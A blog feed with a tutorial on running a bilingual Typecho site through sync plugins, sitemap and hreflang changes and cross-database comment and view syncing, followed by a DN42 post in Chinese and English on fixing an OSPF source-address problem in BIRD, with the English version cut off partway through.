First, duplicate the blog instance into two copies: one for Chinese and one for English, then translate the English copy.
Modify the frontend code to implement the language switcher.
To ensure the article URLs between the two sites only differ by the /en prefix, the cid (content ID) for corresponding articles must be the same. Since cid is auto-incremented based on the order of creating posts and attachments, I plan to write a sync plugin. When a post is published on the Chinese site, it automatically inserts a corresponding article with the same cid in the English database.
Modify the SiteMap plugin. Because a sitemap cannot both contain page links and references to other sitemaps, the main site needs to create two sitemaps: one main sitemap containing the Chinese site pages, and another index sitemap responsible for indexing both the Chinese and English sitemaps.
Add the hreflang attribute within the <head></head> section to inform search engines about the multi-language handling.
Link the view counts and like counts from the English site to the Chinese database.
Sync the comments between two instances.

Let's Do It

Create the English Instance

Copy the entire website directory and place it in the /en/ folder under the original web root. Also, duplicate the database; I named the new one typecho_en.
Next, configure URL rewrite (pseudo-static) rules for both instances:

location /en/ {
    if (!-e $request_filename) {
        rewrite ^(.*)$ /en/index.php$1 last;
    }
}

location / {
  if (!-e $request_filename) {
      rewrite ^(.*)$ /index.php$1 last;
  }
}

The reason for wrapping the main Chinese instance's rules in a location block is that during testing, I found that without it, the English instance might be parsed as part of the Chinese instance, leading to 404 errors.
Also, modify the database configuration in <webroot>/en/config.inc.php to point to the English instance's database.
At this point, accessing <host>/en/ should display a site identical to the main Chinese site.

Modify Typecho Language

This step might be optional since the frontend language is largely determined by the theme. Changing Typecho's backend language isn't strictly necessary but helps for consistency (and makes it easy to tell which admin panel you're in!). Simply refer to the official Typecho multi-language support on GitHub. Download the language pack from the Releases and extract it to <webroot>/en/usr/langs/. Then, navigate to https://<host>/en/admin/options-general.php, where you should see the language setting option. Change it to English.

Translate the Theme

This is the most tedious step. I use the Joe theme. Go to <webroot>/en/usr/themes/Joe and translate all the Chinese text related to display into English. There's no very convenient method here; machine translation often sounds awkward, so I opted for manual translation.
Note that some frontend configurations are within JS files, not just PHP source files. These need translation too.

Translate Articles

This step is self-explanatory. Translate the articles under /en/ one by one into English and save them.

Configure Article Sync Publishing

This step ensures the cid remains synchronized between corresponding articles on both sites. Since cid relates to the access URL, keeping them in sync simplifies the language switcher configuration later—just adding or removing /en from the host. cid is an auto-incrementing primary key field in the typecho_contents table. Its assignment is also related to attachments in Typecho. Since I plan to upload all attachments to the Chinese site, without special handling, the cid values can easily become misaligned, increasing subsequent work. Therefore, my chosen solution is to use AI to help write a plugin that triggers when the Chinese site publishes an article. It reads the cid assigned by the Chinese site and writes a corresponding entry into the English site's database. Create the file <webroot>/usr/plugins/SyncToEnglish/Plugin.php and fill it with the following content:

<?php
if (!defined('__TYPECHO_ROOT_DIR__')) exit;

/**
 * Sync Chinese Articles to English Database
 *
 * @package SyncToEnglish
 * @author ChatGPT, iYoRoy
 * @version 1.0.0
 * @link https://example.com
 */
class SyncToEnglish_Plugin implements Typecho_Plugin_Interface
{
    public static function activate()
    {
        Typecho_Plugin::factory('Widget_Contents_Post_Edit')->finishPublish = [__CLASS__, 'push'];
        return 'SyncToEnglish plugin activated: Empty corresponding articles will be automatically created in the English database when Chinese articles are published.';
        error_log("[SyncToEnglish] Plugin activated successfully");
    }

    public static function deactivate()
    {
        return 'SyncToEnglish plugin deactivated';
    }

    public static function config(Typecho_Widget_Helper_Form $form)
    {
        $host = new Typecho_Widget_Helper_Form_Element_Text('host', NULL, 'localhost', _t('English DB Host'));
        $user = new Typecho_Widget_Helper_Form_Element_Text('user', NULL, 'root', _t('English DB Username'));
        $password = new Typecho_Widget_Helper_Form_Element_Password('password', NULL, NULL, _t('English DB Password'));
        $database = new Typecho_Widget_Helper_Form_Element_Text('database', NULL, 'typecho_en', _t('English DB Name'));
        $port = new Typecho_Widget_Helper_Form_Element_Text('port', NULL, '3306', _t('English DB Port'));
        $charset = new Typecho_Widget_Helper_Form_Element_Text('charset', NULL, 'utf8mb4', _t('Charset'));
        $prefix = new Typecho_Widget_Helper_Form_Element_Text('prefix', NULL, 'typecho_', _t('Table Prefix'));

        $form->addInput($host);
        $form->addInput($user);
        $form->addInput($password);
        $form->addInput($database);
        $form->addInput($port);
        $form->addInput($charset);
        $form->addInput($prefix);
    }

    public static function personalConfig(Typecho_Widget_Helper_Form $form) {}

    public static function push($contents, $widget)
    {
        $options = Helper::options();
        $config = $options->plugin('SyncToEnglish');

        // Get article info from Chinese database
        $cnDb = Typecho_Db::get();
        if (is_array($contents) && isset($contents['cid'])) {
            $cid = $contents['cid'];
            $title = $contents['title'];
        } elseif (is_object($contents) && isset($contents->cid)) {
            $cid = $contents->cid;
            $title = $contents->title;
        } else {
            $db = Typecho_Db::get();
            $row = $db->fetchRow($db->select()->from('table.contents')->order('cid', Typecho_Db::SORT_DESC)->limit(1));
            $cid = $row['cid'];
            $title = $row['title'];
            error_log("[SyncToEnglish DEBUG] CID not found in param, fallback to latest cid={$cid}\n", 3, __DIR__ . '/debug.log');
        }

        $article = $cnDb->fetchRow($cnDb->select()->from('table.contents')->where('cid = ?', $cid));
        if (!$article) return;

        $enDb = new Typecho_Db('Mysql', $config->prefix);
        $enDb->addServer([
            'host' => $config->host,
            'user' => $config->user,
            'password' => $config->password,
            'charset' => $config->charset,
            'port' => (int)$config->port,
            'database' => $config->database
        ], Typecho_Db::READ | Typecho_Db::WRITE);

        try {
            $exists = $enDb->fetchRow($enDb->select()->from('table.contents')->where('cid = ?', $article['cid']));

            if ($exists) {
                $enDb->query($enDb->update('table.contents')
                    ->rows([
                        // 'title' => $article['title'],
                        'slug' => $article['slug'],
                        'modified' => $article['modified']
                    ])
                    ->where('cid = ?', $article['cid'])
                );
            } else {
                $enDb->query($enDb->insert('table.contents')->rows([
                    'cid'      => $article['cid'],
                    'title'    => $article['title'],
                    'slug'     => $article['slug'],
                    'created'  => $article['created'],
                    'modified' => $article['modified'],
                    'type'     => $article['type'],
                    'status'   => $article['status'],
                    'authorId' => $article['authorId'],
                    'views'    => 0,
                    'text'     => $article['text'],
                    'allowComment' => $article['allowComment'],
                    'allowFeed'    => $article['allowFeed'],
                    'allowPing'    => $article['allowPing']
                ]));
            }

        } catch (Exception $e) {
            error_log('[SyncToEnglish] Sync failed: ' . $e->getMessage());
        }
    }
}

Then, go to the admin backend, enable the plugin, and configure the English database information.
After completion, publishing an article on the Chinese site should automatically publish an article with the same cid on the English site.

Configure the Language Switcher

Since we have synchronized the article cid, switching languages now only requires modifying the URL by adding or removing the /en/ prefix. We can create a switcher using PHP and place it in the theme's header:

<!-- Language Selector -->
<div class="joe_dropdown" trigger="hover" placement="60px">
    <div class="joe_dropdown__link">
    <a href="#" rel="nofollow">Language</a>
    <svg class="joe_dropdown__link-icon" viewBox="0 0 1024 1024" xmlns="http://www.w3.org/2000/svg" width="14" height="14">
        <path d="M561.873 725.165c-11.262 11.262-26.545 21.72-41.025 18.502-14.479 2.413-28.154-8.849-39.415-18.502L133.129 375.252c-17.697-17.696-17.697-46.655 0-64.352s46.655-17.696 64.351 0l324.173 333.021 324.977-333.02c17.696-17.697 46.655-17.697 64.351 0s17.697 46.655 0 64.351L561.873 725.165z" fill="var(--main)" />
    </svg>
    </div>
    <nav class="joe_dropdown__menu">
    <?php
        // Get the current full URL
        $current_url = $_SERVER['REQUEST_URI']; 
        $host = $_SERVER['HTTP_HOST'];

        // Check if there is an English prefix "/en/"
        if (strpos($current_url, '/en/') === 0) {
        $current_url = substr_replace($current_url, '', 0, 3);
        }

        $new_url_cn = 'https://' . $host . $current_url;
        $new_url_en = 'https://' . $host . '/en' . $current_url;

        // Generate the two hyperlinks
        echo '<a href="' . $new_url_cn . '">简体中文</a>';
        echo '<a href="' . $new_url_en . '">English</a>';
    ?>
    </nav>
</div>

This needs to be added to both the Chinese and English instances.
After this, the language selector should be available globally. For the Joe theme I use, separate language selectors needed to be written for mobile and PC views.

Modify the SiteMap Plugin

To help search engines index the English pages faster, I decided to modify the SiteMap plugin to include the English site's pages. There are two types of sitemaps: sitemapindex (for indexing sub-sitemaps) and urlset (for containing page URLs). I use the joyqi/typecho-plugin-sitemap plugin. Based on this, I changed the default /sitemap.xml to a sitemapindex, created a new route /sitemap_cn.xml to hold the Chinese site's sitemap, left the English site's plugin unchanged (its sitemap remains at /en/sitemap.xml), and had the main index sitemap reference both /sitemap_cn.xml and /en/sitemap.xml. Modify the SiteMap's Plugin.php:

/**
* Activate plugin method, if activated failed, throw exception will disable this plugin.
*/
public static function activate()
{
    Helper::addRoute(
-       'sitemap',
+       'sitemap_index',
        '/sitemap.xml',
        Generator::class,
-       'generate',
+       'generate_index',
        'index'
    );
+   Helper::addRoute(
+       'sitemap_cn',
+       '/sitemap_cn.xml',
+       Generator::class,
+       'generate_cn',
+       'index'
+   );
}

/**
* Deactivate plugin method, if deactivated failed, throw exception will enable this plugin.
*/
public static function deactivate()
{
-   Helper::removeRoute('sitemap');
+   Helper::removeRoute('sitemap_index');
+   Helper::removeRoute('sitemap_cn');
}

Complete code

<?php

namespace TypechoPlugin\Sitemap;

use Typecho\Plugin\PluginInterface;
use Typecho\Widget\Helper\Form;
use Utils\Helper;

if (!defined('__TYPECHO_ROOT_DIR__')) {
    exit;
}

/**
 * Plugin to automatically generate a sitemap for Typecho.
 * The sitemap URL is: http(s)://yourdomain.com/sitemap.xml
 *
 * @package Sitemap Plugin
 * @author joyqi
 * @version 1.0.0
 * @since 1.2.1
 * @link https://github.com/joyqi/typecho-plugin-sitemap
 */
class Plugin implements PluginInterface
{
    /**
     * Activate plugin method, if activated failed, throw exception will disable this plugin.
     */
    public static function activate()
    {
        Helper::addRoute(
            'sitemap_index',
            '/sitemap.xml',
            Generator::class,
            'generate_index',
            'index'
        );
        Helper::addRoute(
            'sitemap_cn',
            '/sitemap_cn.xml',
            Generator::class,
            'generate_cn',
            'index'
        );
    }

    /**
     * Deactivate plugin method, if deactivated failed, throw exception will enable this plugin.
     */
    public static function deactivate()
    {
        Helper::removeRoute('sitemap_index');
        Helper::removeRoute('sitemap_cn');
    }

    /**
     * Plugin config panel render method.
     *
     * @param Form $form
     */
    public static function config(Form $form)
    {
        $sitemapBlock = new Form\Element\Checkbox(
            'sitemapBlock',
            [
                'posts' => _t('Generate post links'),
                'pages' => _t('Generate page links'),
                'categories' => _t('Generate category links'),
                'tags' => _t('Generate tag links'),
            ],
            ['posts', 'pages', 'categories', 'tags'],
            _t('Sitemap Display')
        );

        $updateFreq = new Form\Element\Select(
            'updateFreq',
            [
                'daily' => _t('Daily'),
                'weekly' => _t('Weekly'),
                'monthly' => _t('Monthly or less often'),
            ],
            'daily',
            _t('Update Frequency')
        );

        // $externalSitemap = new Typecho_Widget_Helper_Form_Element_Text('externalSitemap', NULL, '', _t('Additional Sitemap'));

        $form->addInput($sitemapBlock->multiMode());
        $form->addInput($updateFreq);
        // $form->addInput($externalSitemap);
    }

    /**
     * Plugin personal config panel render method.
     *
     * @param Form $form
     */
    public static function personalConfig(Form $form)
    {
        // TODO: Implement personalConfig() method.
    }
}

Modify the SiteMap's Generator.php:

class Generator extends Contents
{
+   public function generate_index(){
+       $sitemap = '<?xml version="1.0" encoding="UTF-8"?>
+<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
+ <sitemap>
+   <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc>
+ </sitemap>
+ <sitemap>
+   <loc>https://www.iyoroy.cn/en/sitemap.xml</loc>
+ </sitemap>
+</sitemapindex>';
+       $this->response->throwContent($sitemap, 'text/xml');
+   }
+
    /**
     * @return void
     */
-   public function generate()
+   public function generate_cn()
    {
        $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL;
...

Complete code

<?php

namespace TypechoPlugin\Sitemap;

use Widget\Base\Contents;
use Widget\Contents\Page\Rows;
use Widget\Contents\Post\Recent;
use Widget\Metas\Category\Rows as CategoryRows;
use Widget\Metas\Tag\Cloud;

if (!defined('__TYPECHO_ROOT_DIR__')) {
    exit;
}

/**
 * Sitemap Generator
 */
class Generator extends Contents
{
    public function generate_index(){
        $sitemap = '<?xml version="1.0" encoding="UTF-8"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
  <sitemap>
    <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc>
  </sitemap>
  <sitemap>
    <loc>https://www.iyoroy.cn/en/sitemap.xml</loc>
  </sitemap>
</sitemapindex>';
        $this->response->throwContent($sitemap, 'text/xml');
    }
    /**
     * @return void
     */
    public function generate_cn()
    {
        $sitemap = '<?xml version="1.0" encoding="' . $this->options->charset . '"?>' . PHP_EOL;
        $sitemap .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"'
            . ' xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"'
            . ' xmlns:xhtml="http://www.w3.org/1999/xhtml"'
            . ' xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"'
            . ' xmlns:video="http://www.google.com/schemas/sitemap-video/1.1">' . PHP_EOL;

        // add homepage
        $sitemap .= <<<EOF
        <url>
            <loc>{$this->options->siteUrl}</loc>
            <changefreq>daily</changefreq>
            <priority>1.0</priority>
        </url>
EOF;

        // add posts
        if (in_array('posts', $this->options->plugin('Sitemap')->sitemapBlock)) {
            $postsCount = $this->size($this->select()
                ->where('table.contents.status = ?', 'publish')
                ->where('table.contents.created < ?', $this->options->time)
                ->where('table.contents.type = ?', 'post'));

            $posts = Recent::alloc(['pageSize' => $postsCount]);
            $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'monthly' : 'weekly';

            while ($posts->next()) {
                $sitemap .= <<<EOF
            <url>
                <loc>{$posts->permalink}</loc>
                <changefreq>{$freq}</changefreq>
                <lastmod>{$posts->date->format('c')}</lastmod>
                <priority>0.8</priority>
            </url>
EOF;
            }
        }

        // add pages
        if (in_array('pages', $this->options->plugin('Sitemap')->sitemapBlock)) {
            $pages = Rows::alloc();
            $freq = $this->options->plugin('Sitemap')->updateFreq ==='monthly' ? 'yearly' : 'monthly';

            while ($pages->next()) {
                $sitemap .= <<<EOF
            <url>
                <loc>{$pages->permalink}</loc>
                <changefreq>{$freq}</changefreq>
                <lastmod>{$pages->date->format('c')}</lastmod>
                <priority>0.5</priority>
            </url>
EOF;
            }
        }

        // add categories
        if (in_array('categories', $this->options->plugin('Sitemap')->sitemapBlock)) {
            $categories = CategoryRows::alloc();
            $freq = $this->options->plugin('Sitemap')->updateFreq;

            while ($categories->next()) {
                $sitemap .= <<<EOF
            <url>
                <loc>{$categories->permalink}</loc>
                <changefreq>{$freq}</changefreq>
                <priority>0.6</priority>
            </url>
EOF;
            }
        }

        // add tags
        if (in_array('tags', $this->options->plugin('Sitemap')->sitemapBlock)) {
            $tags = Cloud::alloc();
            $freq = $this->options->plugin('Sitemap')->updateFreq;

            while ($tags->next()) {
                $sitemap .= <<<EOF
            <url>
                <loc>{$tags->permalink}</loc>
                <changefreq>{$freq}</changefreq>
                <priority>0.4</priority>
            </url>
EOF;
            }
        }

        $sitemap .= '</urlset>';

        $this->response->throwContent($sitemap, 'text/xml');
    }
}

Please replace the blog URL in the code with your own.
(I was too busy recently to create a separate configuration page, so I hardcoded the Sitemap URLs into the plugin for now.)

Disable and then re-enable the plugin. Visiting https://<host>/sitemap.xml should now show the sitemap index:

<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
    <sitemap>
        <loc>https://www.iyoroy.cn/sitemap_cn.xml</loc>
    </sitemap>
    <sitemap>
        <loc>https://www.iyoroy.cn/en/sitemap.xml</loc>
    </sitemap>
</sitemapindex>

You should also be able to see that search engines like Bing Webmaster Tools have detected the English site's sitemap:

Add hreflang

This step informs search engines that the current page has multi-language versions, allowing them to show the appropriate page based on user language preference or location. We need to insert link tags like the following format within the <head></head> section:

<link rel="alternate" hreflang="en-us" href="https://example.com/us">
<link rel="alternate" hreflang="fr" href="https://example.com/fr">
<link rel="alternate" hreflang="x-default" href="https://example.com/default">

Here, hreflang="x-default" indicates the default language for the page. The value of hreflang is composed of an ISO 639-1 language code and an optional ISO 3166-1 Alpha-2 region code (e.g., distinguishing between en, en-US and en-UK).

Add the following content to the relevant section of your theme's <head></head>:

<?php
  // Get the current full URL
  $current_url = $_SERVER['REQUEST_URI']; 
  $host = $_SERVER['HTTP_HOST'];

  // Check if there is an English prefix "/en/"
  if (strpos($current_url, '/en/') === 0) {
    $current_url = substr_replace($current_url, '', 0, 3);
  }

  $new_url_cn = 'https://' . $host . $current_url;
  $new_url_en = 'https://' . $host . '/en' . $current_url;

  // Generate the link tags
  echo '<link rel="alternate" hreflang="zh-cn" href="'.$new_url_cn.'" />';
  echo '<link rel="alternate" hreflang="en-us" href="'.$new_url_en.'" />';
  echo '<link rel="alternate" hreflang="x-default" href="'.$new_url_cn.'" />';
?>

This needs to be added to both the Chinese and English sites.

After this, you should find the corresponding hreflang configuration in the <head> section of your website pages.

Sync Like Counts and View Counts

This step is highly theme-dependent and might not apply to all themes. I use the Joe theme, which handles reading and writing like counts and view counts to the database directly. I modified the English instance's theme code to read and write these values directly from/to the Chinese instance's database.
Modify the function that retrieves view counts in <webroot>/en/usr/themes/Joe/core/function.php:

/* Query Post Views */
function _getViews($item, $type = true)
{
- $db = Typecho_Db::get();
+ // $db = Typecho_Db::get();

+ $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+ $db->addServer([
+     'host' => 'mysql',
+     'user' => 'typecho',
+     'password' => '[CENSORED]',
+     'charset' => 'utf8mb4',
+     'port' => 3306,
+     'database' => 'typecho'
+ ], Typecho_Db::READ | Typecho_Db::WRITE);
  
  $result = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $item->cid))['views'];
  if ($type) echo number_format($result);
  else return number_format($result);
}

Modify the function that retrieves like counts in <webroot>/en/usr/themes/Joe/core/function.php:

/* Query Post Like Count */
function _getAgree($item, $type = true)
{
- $db = Typecho_Db::get();
+ // $db = Typecho_Db::get();

+ $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+ $db->addServer([
+     'host' => 'mysql',
+     'user' => 'typecho',
+     'password' => '[CENSORED]',
+     'charset' => 'utf8mb4',
+     'port' => 3306,
+     'database' => 'typecho'
+ ], Typecho_Db::READ | Typecho_Db::WRITE);
  
  $result = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $item->cid))['agree'];
  if ($type) echo number_format($result);
  else return number_format($result);
}

Modify the code displaying view counts on the homepage in <webroot>/en/usr/themes/Joe/core/route.php:

        $result[] = array(
            "mode" => $item->fields->mode ? $item->fields->mode : 'default',
            "image" => _getThumbnails($item),
            "time" => date('Y-m-d', $item->created),
            "created" => date('d/m/Y', $item->created),
            "title" => $item->title,
            "abstract" => _getAbstract($item, false),
            "category" => $item->categories,
-           "views" => number_format($item->views),
+           // "views" => number_format($item->views),
+           "views" => _getViews($item, false),
            "commentsNum" => number_format($item->commentsNum),
-           "agree" => number_format($item->agree),
+           // "agree" => number_format($item->agree),
+           "agree" => _getAgree($item, false),
            "permalink" => $item->permalink,
            "lazyload" => _getLazyload(false),
            "type" => "normal"
        );

The code displaying view counts on the article page itself already uses _getViews, so it doesn't need modification.
Modify the code that increments view counts:

/* Increase View Count - Tested √ */
function _handleViews($self)
{
    $self->response->setStatus(200);

    $cid = $self->request->cid;

    /* SQL injection check */
    if (!preg_match('/^\d+$/',  $cid)) {
        return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!"));
    }
-   $db = Typecho_Db::get();  
+   // $db = Typecho_Db::get();  
+   $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+   $db->addServer([
+       'host' => 'mysql',
+       'user' => 'typecho',
+       'password' => '[CENSORED]',
+       'charset' => 'utf8mb4',
+       'port' => 3306,
+       'database' => 'typecho'
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
    
    
    $row = $db->fetchRow($db->select('views')->from('table.contents')->where('cid = ?', $cid));
    if (sizeof($row) > 0) {

Modify the code for liking and unliking:

/* Like and Unlike - Tested √ */
function _handleAgree($self)
{
    $self->response->setStatus(200);

    $cid = $self->request->cid;
    $type = $self->request->type;

    /* SQL injection check */
    if (!preg_match('/^\d+$/',  $cid)) {
        return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!"));
    }
    /* SQL injection check */
    if (!preg_match('/^[agree|disagree]+$/', $type)) {
        return $self->response->throwJson(array("code" => 0, "data" => "Illegal request! Blocked!"));
    }
-   $db = Typecho_Db::get();
+   // $db = Typecho_Db::get();  
+   $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+   $db->addServer([
+       'host' => 'mysql',
+       'user' => 'typecho',
+       'password' => '[CENSORED]',
+       'charset' => 'utf8mb4',
+       'port' => 3306,
+       'database' => 'typecho'
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
  
    $row = $db->fetchRow($db->select('agree')->from('table.contents')->where('cid = ?', $cid));
    if (sizeof($row) > 0) {

After making these changes and saving, visiting the English site should show view counts and like counts synchronized with the Chinese site.

Sync Comments

I initially thought about creating a plugin that hooks into the comment submission function to simultaneously insert comment data into the other instance's database. However, I found that my Joe theme already hooks into this, and adding another hook might cause conflicts. Therefore, I directly edited the Joe theme's code.
Edit <webroot>/index/usr/themes/Joe/core/factory.php:

<?php

require_once("phpmailer.php");
require_once("smtp.php");

/* Enhanced Comment Interception */
Typecho_Plugin::factory('Widget_Feedback')->comment = array('Intercept', 'message');
class Intercept
{
  public static function message($comment)
  {
    ...
    Typecho_Cookie::delete('__typecho_remember_text');
+   
+   $db = new Typecho_Db('Mysql', 'typecho_' /* Prefix */);
+   $db->addServer([
+       'host' => 'mysql',
+       'user' => 'typecho_en',
+       'password' => '[CENSORED]',
+       'charset' => 'utf8mb4',
+       'port' => 3306,
+       'database' => 'typecho_en'
+   ], Typecho_Db::READ | Typecho_Db::WRITE);
+   
+   $row = [
+       'coid'     => $comment['coid'], // Must include the newly generated comment ID
+       'cid'      => $comment['cid'],
+       'created'  => $comment['created'],
+       'author'   => $comment['author'],
+       'authorId' => $comment['authorId'],
+       'ownerId'  => $comment['ownerId'],
+       'mail'     => $comment['mail'],
+       'url'      => $comment['url'],
+       'ip'       => $comment['ip'],
+       'agent'    => $comment['agent'],
+       'text'     => $comment['text'],
+       'type'     => $comment['type'],
+       'status'   => $comment['status'],
+       'parent'   => $comment['parent']
+   ];
+
+   // Insert data into the target database's `comments` table
+   $db->query($db->insert('typecho_comments')->rows($row));
    return $comment;
  }
}
...

Perform the same operation on the English instance, inserting comments into the Chinese database.
One issue with this scheme is that if you need to delete spam comments, you must delete them separately in both instances. I'll fix that later (maybe).

Reference:

typecho/languages - GitHub

DN42&OneManISP - 共存环境下的OSPF源地址故障排除

Wed, 29 Oct 2025 12:42:00 GMT

前情提要

正如这个系列的上文所说，因为VRF方案太过于隔离，导致我部署在HKG节点（172.20.234.225）的DNS服务无法被DN42网络所访问，查阅资料得知可以通过设置veth或者NAT地址转发的方式来实现，但是因为现有的资料比较少，最终还是放弃了VRF这个方案。

结构分析

这次我打算将DN42和公网BGP的路由都放入系统的主路由表，然后再分开导出，通过过滤器来区分是否应该导出。同时，为了更加直观，我将DN42部分的配置和公网（以下简称inet）部分的配置分别单独存放，再由主配置文件引入。同时，因为kernel部分配置一个路由表只应该存在一个，因此合并DN42和inet的kernel部分，仅保留一个。

经过多次优化和修改，我最终的目录结构如下：

/etc/bird/
├─envvars
├─bird.conf: Bird主配置文件，负责定义基本信息（ASN、IP等），引入下面的子配置
├─kernel.conf: 内核配置，负责将路由导入系统路由表
├─dn42
|  ├─defs.conf: DN42的函数定义，如is_self_dn42_net()这类
|  ├─ibgp.conf: DN42 iBGP模板
|  ├─rpki.conf: DN42 RPKI路由验证
|  ├─ospf.conf: DN42 OSPF内网
|  ├─static.conf: DN42静态路由
|  ├─ebgp.conf: DN42 Peer模板
|  ├─ibgp
|  |  └<ibgp configs>: DN42 iBGP各个节点的配置
|  ├─ospf
|  |  └backbone.conf: OSPF区域
|  ├─peers
|  |  └<ibgp configs>: DN42 Peer各个节点的配置
├─inet
|  ├─peer.conf: 公网Peer
|  ├─ixp.conf: 公网IXP接入
|  ├─defs.conf: 公网部分的函数定义，如is_self_inet_v6()
|  ├─upstream.conf: 公网上游
|  └static.conf: 公网静态路由

将定义函数的部分单独拿出来是因为我需要在kernel.conf的过滤器中引用，因此单独拿出来以便于提前include。

完成后分别填入对应配置，然后由写好include关系，birdc configure后发现也成功跑起来了。于是乎告一段落...吗?

发现问题

运行一段时间后，我突然发现通过我的内网设备Ping HKG节点无法Ping通，通过HKG节点Ping我的其他内部节点也无法Ping通。奇怪的是，外部AS可以通过我的HKG节点Ping到我的其他节点或者其他外部AS，我的内部节点也可以通过HKG节点Ping到其他不直接相连的节点（如：226(NKG)->225(HKG)->229(LAX)）。通过ip route get <内网其他节点地址>发现：

root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226
172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0
    cache

看出问题了吗？src地址本来应该是HKG节点自己的DN42地址（OSPF部分stub网卡配置的），但是这里显示的却是HKG节点的公网地址。尝试通过birdc s r for 172.20.234.226读取bird学习到的路由：

root@iYoRoyNetworkHKGBGP:/etc/bird/dn42/ospf# birdc s r for 172.20.234.226
BIRD 2.17.1 ready.
Table master4:
172.20.234.226/32    unicast [dn42_ospf_iyoroynet_v4 00:30:29.307] * I (150/50) [172.20.234.226]
        via 172.20.234.226 on dn42_nkg onlink

看起来貌似一切正常...? 理论上来说，虽然DN42的源IP和正常的不太一样，但是DN42在导出到内核的时候改写了krt_prefsrc来告诉内核正确的源地址，理论上不应该出现这样的问题：

protocol kernel kernel_v4{  
    ipv4 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
+           if is_valid_dn42_network() then krt_prefsrc = DN42_OWNIP;
            accept;
        };
    };
}

protocol kernel kernel_v6 {
    ipv6 {
        import none;
        export filter {
            if source = RTS_STATIC then reject;
+           if is_valid_dn42_network_v6() then krt_prefsrc = DN42_OWNIPv6;
            accept;
        };
    };
}

关于krt_prefsrc，其含义是Kernel Route Preferred Source。这个属性并非直接操作路由，而是为路由附加一个元数据，它直接告诉 Linux 内核：当通过这条路由发送数据包时，应优先使用这里指定的 IP 地址作为源地址。

在这里卡了好久的说

解决方案

最终，某次无意间尝试给OSPF的导出配置中也加上了krt_prefsrc改写：

protocol ospf v3 dn42_ospf_iyoroynet_v4 {
    router id DN42_OWNIP;
    ipv4 {
-       import where is_self_dn42_net() && source != RTS_BGP;
+       import filter {
+           if is_self_dn42_net() && source != RTS_BGP then {
+               krt_prefsrc=DN42_OWNIP;
+               accept;
+           }
+           reject;
+       };
        export where is_self_dn42_net() && source != RTS_BGP;
    };

    include "ospf/*";
};

protocol ospf v3 dn42_ospf_iyoroynet_v6 {
    router id DN42_OWNIP;
    ipv6 {
-       import where is_self_dn42_net_v6() && source != RTS_BGP;
+       import filter {
+           if is_self_dn42_net_v6() && source != RTS_BGP then {
+               krt_prefsrc=DN42_OWNIPv6;
+               accept;
+           }
+           reject;
+       };
        export where is_self_dn42_net_v6() && source != RTS_BGP;
    };

    include "ospf/*";
};

之后再运行发现src地址正确了，互相Ping也都能通。

配置文件可参考：KaguraiYoRoy/Bird2-Configuration

DN42&OneManISP - Troubleshooting OSPF Source Address in a Coexistence Environment

Wed, 29 Oct 2025 12:42:00 GMT

Backstory

As mentioned in the previous post of this series, because the VRF solution was too isolating, the DNS service I deployed on the HKG node (172.20.234.225) became inaccessible from the DN42 network. Research indicated this could be achieved by setting up veth or NAT forwarding, but due to the scarcity of available documentation, I ultimately abandoned the VRF approach.

Structure Analysis

This time, I planned to place both DN42 and clearnet BGP routes into the system's main routing table, then separate them for export using filters to distinguish which should be exported. For clarity, I stored the configuration for the DN42 part and the clearnet part (hereinafter referred to as inet) separately, and then included them from the main configuration file. Also, since there should ideally only be one kernel configuration per routing table, I merged the DN42 and inet kernel parts, keeping only one instance.

After multiple optimizations and revisions, my final directory structure is as follows:

/etc/bird/
├─envvars
├─bird.conf: Main Bird config file, defines basic info (ASN, IP, etc.), includes sub-configs below
├─kernel.conf: Kernel config, imports routes into the system routing table
├─dn42
|  ├─defs.conf: DN42 function definitions, e.g., is_self_dn42_net()
|  ├─ibgp.conf: DN42 iBGP template
|  ├─rpki.conf: DN42 RPKI route validation
|  ├─ospf.conf: DN42 OSPF internal network
|  ├─static.conf: DN42 static routes
|  ├─ebgp.conf: DN42 Peer template
|  ├─ibgp
|  |  └<ibgp configs>: DN42 iBGP configs for each node
|  ├─ospf
|  |  └backbone.conf: OSPF area
|  ├─peers
|  |  └<ibgp configs>: DN42 Peer configs for each node
├─inet
|  ├─peer.conf: Clearnet Peer
|  ├─ixp.conf: Clearnet IXP connection
|  ├─defs.conf: Clearnet function definitions, e.g., is_self_inet_v6()
|  ├─upstream.conf: Clearnet upstream
|  └static.conf: Clearnet static routes

I separated the function definitions because I needed to reference them in the filters within kernel.conf, so I isolated them for early inclusion.

After filling in the respective configurations and setting up the include relationships, I ran birdc configure and it started successfully. So, case closed... right?

Problems occurred

After running for a while, I suddenly found that I couldn't ping the HKG node from my internal devices, nor could I ping my other internal nodes from the HKG node. Strangely, external ASes could ping my other nodes or other external ASes through my HKG node, and my internal nodes could also ping other non-directly connected nodes (e.g., 226(NKG)->225(HKG)->229(LAX)) via the HKG node.
Using ip route get <other internal node address> revealed:

root@iYoRoyNetworkHKG:/etc/bird# ip route get 172.20.234.226
172.20.234.226 via 172.20.234.226 dev dn42_nkg src 23.149.120.51 uid 0
    cache

See the problem? The src address should have been the HKG node's own DN42 address (configured on the OSPF stub interface), but here it showed the HKG node's clearnet address instead.
Attempting to read the route learned by Bird using birdc s r for 172.20.234.226:

